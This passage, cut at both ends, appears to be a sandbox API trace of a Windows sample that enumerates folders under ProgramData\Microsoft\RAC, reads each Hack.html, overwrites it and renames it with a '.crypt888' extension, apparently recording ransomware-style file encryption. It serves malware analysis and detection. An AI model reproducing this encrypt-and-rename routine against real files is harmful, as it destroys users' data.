returned 0x1 [0088.980] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC", lpFilePart=0x0) returned 0x20 [0088.980] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\", lpFilePart=0x0) returned 0x21 [0088.980] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x599f68 [0088.980] FindClose (in: hFindFile=0x599f68 | out: hFindFile=0x599f68) returned 1 [0088.981] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC", lpFilePart=0x0) returned 0x20 [0088.981] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\", lpFilePart=0x0) returned 0x21 [0088.981] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x599f68 [0088.981] FindClose (in: hFindFile=0x599f68 | out: hFindFile=0x599f68) returned 1 [0088.981] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html", lpFilePart=0x0) returned 0x2a [0088.981] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.981] GetFileType (hFile=0x174) returned 0x1 [0088.981] GetFileType (hFile=0x174) returned 0x1 [0088.981] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0088.981] ReadFile (in: hFile=0x174, lpBuffer=0x28a74e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x28a74e0*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0088.998] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html", lpFilePart=0x0) returned 0x2a [0088.998] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.999] GetFileType (hFile=0x174) returned 0x1 [0088.999] GetFileType (hFile=0x174) returned 0x1 [0088.999] WriteFile (in: hFile=0x174, lpBuffer=0x26f61bc*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x26f61bc*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0089.000] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html", lpFilePart=0x0) returned 0x2a [0089.000] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html.crypt888", lpFilePart=0x0) returned 0x33 [0089.000] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbc2e020, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbc2e020, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc63fef20, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.001] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\rac\\hack.html.crypt888")) returned 1 [0089.001] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound", lpFilePart=0x0) returned 0x29 [0089.001] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\", lpFilePart=0x0) returned 0x2a [0089.001] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a7a8 [0089.002] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0089.002] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound", lpFilePart=0x0) returned 0x29 [0089.002] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\", lpFilePart=0x0) returned 0x2a [0089.002] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a7a8 [0089.002] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0089.002] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html", lpFilePart=0x0) returned 0x33 [0089.002] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\outbound\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.002] GetFileType (hFile=0x174) returned 0x1 [0089.002] GetFileType (hFile=0x174) returned 0x1 [0089.002] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0089.002] ReadFile (in: hFile=0x174, lpBuffer=0x26f8a68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x26f8a68*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0089.018] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html", lpFilePart=0x0) returned 0x33 [0089.019] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\outbound\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.020] GetFileType (hFile=0x174) returned 0x1 [0089.020] GetFileType (hFile=0x174) returned 0x1 [0089.021] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html", lpFilePart=0x0) returned 0x33 [0089.021] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3c [0089.021] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\outbound\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbc2e020, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbc2e020, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6425080, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.021] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\outbound\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\rac\\outbound\\hack.html.crypt888")) returned 1 [0089.021] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html", lpFilePart=0x0) returned 0x33 [0089.022] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\outbound\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.022] GetFileType (hFile=0x174) returned 0x1 [0089.022] GetFileType (hFile=0x174) returned 0x1 [0089.023] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData", lpFilePart=0x0) returned 0x2e [0089.023] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\", lpFilePart=0x0) returned 0x2f [0089.023] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a668 [0089.023] FindClose (in: hFindFile=0x59a668 | out: hFindFile=0x59a668) returned 1 [0089.023] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData", lpFilePart=0x0) returned 0x2e [0089.023] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\", lpFilePart=0x0) returned 0x2f [0089.023] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a668 [0089.023] FindClose (in: hFindFile=0x59a668 | out: hFindFile=0x59a668) returned 1 [0089.023] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html", lpFilePart=0x0) returned 0x38 [0089.023] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.024] GetFileType (hFile=0x174) returned 0x1 [0089.024] GetFileType (hFile=0x174) returned 0x1 [0089.024] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0089.024] ReadFile (in: hFile=0x174, lpBuffer=0x274c2b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x274c2b0*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0089.038] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html", lpFilePart=0x0) returned 0x38 [0089.038] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.039] GetFileType (hFile=0x174) returned 0x1 [0089.039] GetFileType (hFile=0x174) returned 0x1 [0089.039] WriteFile (in: hFile=0x174, lpBuffer=0x279a428*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x279a428*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0089.040] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html", lpFilePart=0x0) returned 0x38 [0089.040] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html.crypt888", lpFilePart=0x0) returned 0x41 [0089.040] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbc2e020, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbc2e020, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc644b1e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.040] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\hack.html.crypt888")) returned 1 [0089.041] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html", lpFilePart=0x0) returned 0x38 [0089.041] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.042] GetFileType (hFile=0x174) returned 0x1 [0089.042] GetFileType (hFile=0x174) returned 0x1 [0089.043] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\StateData", lpFilePart=0x0) returned 0x2a [0089.043] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\", lpFilePart=0x0) returned 0x2b [0089.043] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x599f28 [0089.043] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0089.044] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\StateData", lpFilePart=0x0) returned 0x2a [0089.044] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\", lpFilePart=0x0) returned 0x2b [0089.044] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x599f28 [0089.044] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0089.044] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html", lpFilePart=0x0) returned 0x34 [0089.044] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.044] GetFileType (hFile=0x174) returned 0x1 [0089.044] GetFileType (hFile=0x174) returned 0x1 [0089.044] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0089.044] ReadFile (in: hFile=0x174, lpBuffer=0x279fbd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x279fbd4*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0089.056] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html", lpFilePart=0x0) returned 0x34 [0089.056] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.057] GetFileType (hFile=0x174) returned 0x1 [0089.057] GetFileType (hFile=0x174) returned 0x1 [0089.057] WriteFile (in: hFile=0x174, lpBuffer=0x27edd44*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x27edd44*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0089.058] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html", lpFilePart=0x0) returned 0x34 [0089.058] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3d [0089.058] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbc2e020, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbc2e020, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6471340, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.058] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\hack.html.crypt888")) returned 1 [0089.059] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html", lpFilePart=0x0) returned 0x34 [0089.059] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.059] GetFileType (hFile=0x174) returned 0x1 [0089.059] GetFileType (hFile=0x174) returned 0x1 [0089.060] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Temp", lpFilePart=0x0) returned 0x25 [0089.060] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\", lpFilePart=0x0) returned 0x26 [0089.060] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0089.061] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0089.061] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Temp", lpFilePart=0x0) returned 0x25 [0089.061] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\", lpFilePart=0x0) returned 0x26 [0089.061] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0089.061] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0089.061] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html", lpFilePart=0x0) returned 0x2f [0089.061] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\temp\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.061] GetFileType (hFile=0x174) returned 0x1 [0089.061] GetFileType (hFile=0x174) returned 0x1 [0089.061] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0089.061] ReadFile (in: hFile=0x174, lpBuffer=0x27f31fc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27f31fc*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0089.074] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html", lpFilePart=0x0) returned 0x2f [0089.074] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\rac\\temp\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.074] GetFileType (hFile=0x174) returned 0x1 [0089.075] GetFileType (hFile=0x174) returned 0x1 [0089.075] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html", lpFilePart=0x0) returned 0x2f [0089.075] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html.crypt888", lpFilePart=0x0) returned 0x38 [0089.075] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Hack.html" (normalized: "c:\\users\\all 